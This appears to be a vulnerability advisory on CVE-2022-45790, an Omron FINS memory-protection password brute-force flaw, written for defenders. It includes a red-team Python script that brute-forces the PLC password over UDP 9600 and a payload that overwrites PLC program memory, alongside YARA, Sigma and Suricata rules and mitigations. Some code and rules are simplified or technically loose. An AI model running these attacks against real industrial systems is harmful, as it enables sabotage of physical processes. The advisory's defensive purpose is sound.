CVE-2022-45790

Executive Summary

CVE-2022-45790 exposes a critical authentication weakness in the Omron FINS protocol, which is widely used in industrial control systems (ICS) for communication between PLCs and engineering workstations. The vulnerability allows an unauthenticated, remote attacker to brute-force the authentication mechanism designed to protect memory regions. Successful exploitation grants the attacker the ability to read and overwrite protected memory, including the programmed logic of the PLC. This can lead to complete compromise of the industrial process, enabling sabotage, data manipulation, or denial of service. The CVSS score of 8.6 reflects the high impact on confidentiality, integrity, and availability, combined with a low attack complexity and no required privileges. No official patch has been released, making this a zero-day risk for all Omron devices using the FINS protocol with memory protection enabled.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.6 (High)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – No authentication is needed to initiate the brute-force attack.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to protected memory regions.
• Integrity (I): High – Full write access to protected memory, including logic.
• Availability (A): High – Overwriting logic can cause denial of service or unsafe states.

Threat Level: Critical. The lack of a patch, combined with the ease of exploitation and the potential for physical damage in industrial environments, makes this a top-priority vulnerability for asset owners.

Deep Dive & Mechanics

The Omron FINS protocol is a UDP/TCP-based protocol used for communication with Omron PLCs. It includes a memory protection feature that restricts read/write access to specific memory areas (e.g., CIO, DM, WR) to prevent unauthorized modifications. This protection is enforced by a password or key that must be included in FINS commands.

The vulnerability lies in the authentication mechanism for this memory protection. The protocol does not implement any rate limiting, account lockout, or exponential backoff for failed authentication attempts. An attacker can send a continuous stream of FINS commands with different password guesses until the correct one is found. Once the correct password is discovered, the attacker can send FINS commands (e.g., MEMORY AREA WRITE) to overwrite any memory region, including the user program (ladder logic) and system parameters.

The attack is feasible because:

• The password space is often small (e.g., 4-8 character alphanumeric).
• No network-level or application-level throttling is present.
• The FINS protocol is typically exposed on the OT network without additional security layers.

Vulnerable vs. Patched Code

Since no official patch exists, there is no patched code to compare. However, the vulnerable behavior can be described as:

Vulnerable (Omron FINS implementation):

# Pseudocode for vulnerable authentication
def fins_authenticate(password_guess):
    # No rate limiting or lockout
    if password_guess == stored_password:
        return True
    else:
        return False

Hypothetical Patched Code:

# Pseudocode for patched authentication
import time
failed_attempts = {}
lockout_time = 300  # 5 minutes

def fins_authenticate(source_ip, password_guess):
    now = time.time()
    if source_ip in failed_attempts:
        if now - failed_attempts[source_ip]['last_attempt'] < lockout_time:
            if failed_attempts[source_ip]['count'] >= 3:
                return False  # Locked out
    if password_guess == stored_password:
        failed_attempts.pop(source_ip, None)
        return True
    else:
        if source_ip not in failed_attempts:
            failed_attempts[source_ip] = {'count': 0, 'last_attempt': now}
        failed_attempts[source_ip]['count'] += 1
        failed_attempts[source_ip]['last_attempt'] = now
        return False

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

• Omron PLC (e.g., CJ2M, CP1H) with FINS protocol enabled and memory protection set.
• Attacker machine (Kali Linux) with Python and Scapy.
• Network connectivity between attacker and PLC (e.g., same VLAN).

Exploitation Steps:

1. Scan for FINS devices:

   nmap -sU -p 9600 --script fins-info <target_range>
   

2. Brute-force the memory protection password: Use a custom Python script to send FINS commands with password guesses.

   import socket
   import struct
   
   def fins_command(command_code, data, password):
       # Build FINS frame (simplified)
       header = b'\x80\x00\x02\x00\x00\x00\x00\x00'
       command = struct.pack('!H', command_code)
       password_field = password.encode().ljust(8, b'\x00')
       return header + command + password_field + data
   
   def try_password(target_ip, password):
       sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
       sock.settimeout(2)
       # Example: MEMORY AREA READ (command 0x0101) to test access
       payload = fins_command(0x0101, b'\x00\x00\x00\x00', password)
       sock.sendto(payload, (target_ip, 9600))
       try:
           response, _ = sock.recvfrom(1024)
           # Check if response indicates success (no error code)
           if response[15] == 0x00:
               return True
       except:
           pass
       return False
   
   target = "192.168.1.10"
   with open("passwords.txt") as f:
       for pwd in f:
           pwd = pwd.strip()
           if try_password(target, pwd):
               print(f"Password found: {pwd}")
               break
   

3. Overwrite PLC logic: Once the password is known, send a MEMORY AREA WRITE command to overwrite the program area.

   # Example: Write NOP sled to program area (address 0x0000)
   write_data = b'\x00' * 100  # NOP instructions
   payload = fins_command(0x0102, struct.pack('!HH', 0x0000, len(write_data)) + write_data, found_password)
   sock.sendto(payload, (target, 9600))
   

Blue Team (Defense & Detection)

Detection:

• Monitor for a high volume of FINS commands from a single IP address within a short time window.
• Alert on FINS commands with varying password fields (indicating brute-force).
• Use network intrusion detection systems (NIDS) to inspect FINS traffic.

Mitigation:

• Implement network segmentation: Place PLCs on a dedicated OT VLAN with strict access controls.
• Use a firewall to restrict FINS traffic (UDP/TCP 9600) to only authorized engineering workstations.
• Enable logging on the PLC (if supported) and monitor for authentication failures.
• Apply vendor workarounds: If available, use a longer, complex password and change it regularly.
• Consider using a VPN or application-layer gateway for remote access to PLCs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • High frequency of UDP packets to port 9600 from a single source IP.
  • FINS commands with varying password fields (bytes 8-15 of the command frame).
  • FINS MEMORY AREA WRITE commands (command code 0x0102) to program memory regions.
  • Unusual FINS error codes (e.g., 0x2101 – password mismatch) followed by successful commands.

• Host IOCs:

  • PLC logs showing repeated authentication failures (if logging is enabled).
  • Unexpected changes in PLC program logic or configuration.
  • PLC entering STOP mode due to invalid program writes.

• File IOCs:

  • Password lists (e.g., passwords.txt, rockyou.txt) on engineering workstations.
  • Custom Python scripts for FINS brute-force (e.g., fins_brute.py).

Detection Engineering

YARA Rule

rule CVE_2022_45790_FINS_BruteForce {
    meta:
        description = "Detects FINS protocol packets with varying password fields indicating brute-force attack"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2022-45790"
    strings:
        $fins_header = {80 00 02 00 00 00 00 00}
        $password_field = /[\x20-\x7E]{8}/  // 8-byte printable ASCII password
    condition:
        #fins_header >= 10 and #password_field >= 10
}

Sigma Rule

title: CVE-2022-45790 - Omron FINS Brute-Force Attack
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple FINS authentication attempts from a single source within a short time window.
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 9600
        app_protocol: fins
        event_type: alert
    condition: selection
    timeframe: 5m
    aggregation:
        field: src_ip
        count: > 100
falsepositives:
    - Legitimate engineering software performing batch operations
level: high

Suricata Rule

alert udp any any -> any 9600 (msg:"CVE-2022-45790 - Omron FINS Brute-Force Attempt"; content:"|80 00 02 00 00 00 00 00|"; depth:8; threshold: type both, track by_src, count 50, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate Omron PLCs on a dedicated OT network segment with strict firewall rules.
2. Access Control: Restrict FINS protocol access (UDP/TCP 9600) to only authorized engineering workstations using IP whitelisting.
3. Password Hardening: If memory protection is used, set a strong, complex password (minimum 16 characters, mixed case, numbers, symbols) and change it regularly.
4. Monitor & Alert: Deploy the provided detection rules to identify brute-force attempts in real-time.

Long-Term Recommendations:

• Vendor Engagement: Contact Omron support to request a firmware patch that implements rate limiting, account lockout, or multi-factor authentication for memory protection.
• Protocol Upgrade: Migrate to more secure protocols (e.g., OPC UA with security, or EtherNet/IP with CIP Security) where possible.
• ICS Security Framework: Implement the NIST SP 800-82 or IEC 62443 standards for industrial control system security.
• Regular Audits: Conduct periodic vulnerability assessments and penetration tests on OT networks.

Workaround (if patching is not possible):

• Use a network-based IPS/IDS to drop FINS packets that exceed a threshold of authentication attempts per source IP.
• Implement a custom application-layer firewall that inspects FINS commands and blocks those with invalid passwords after a few attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2022-45790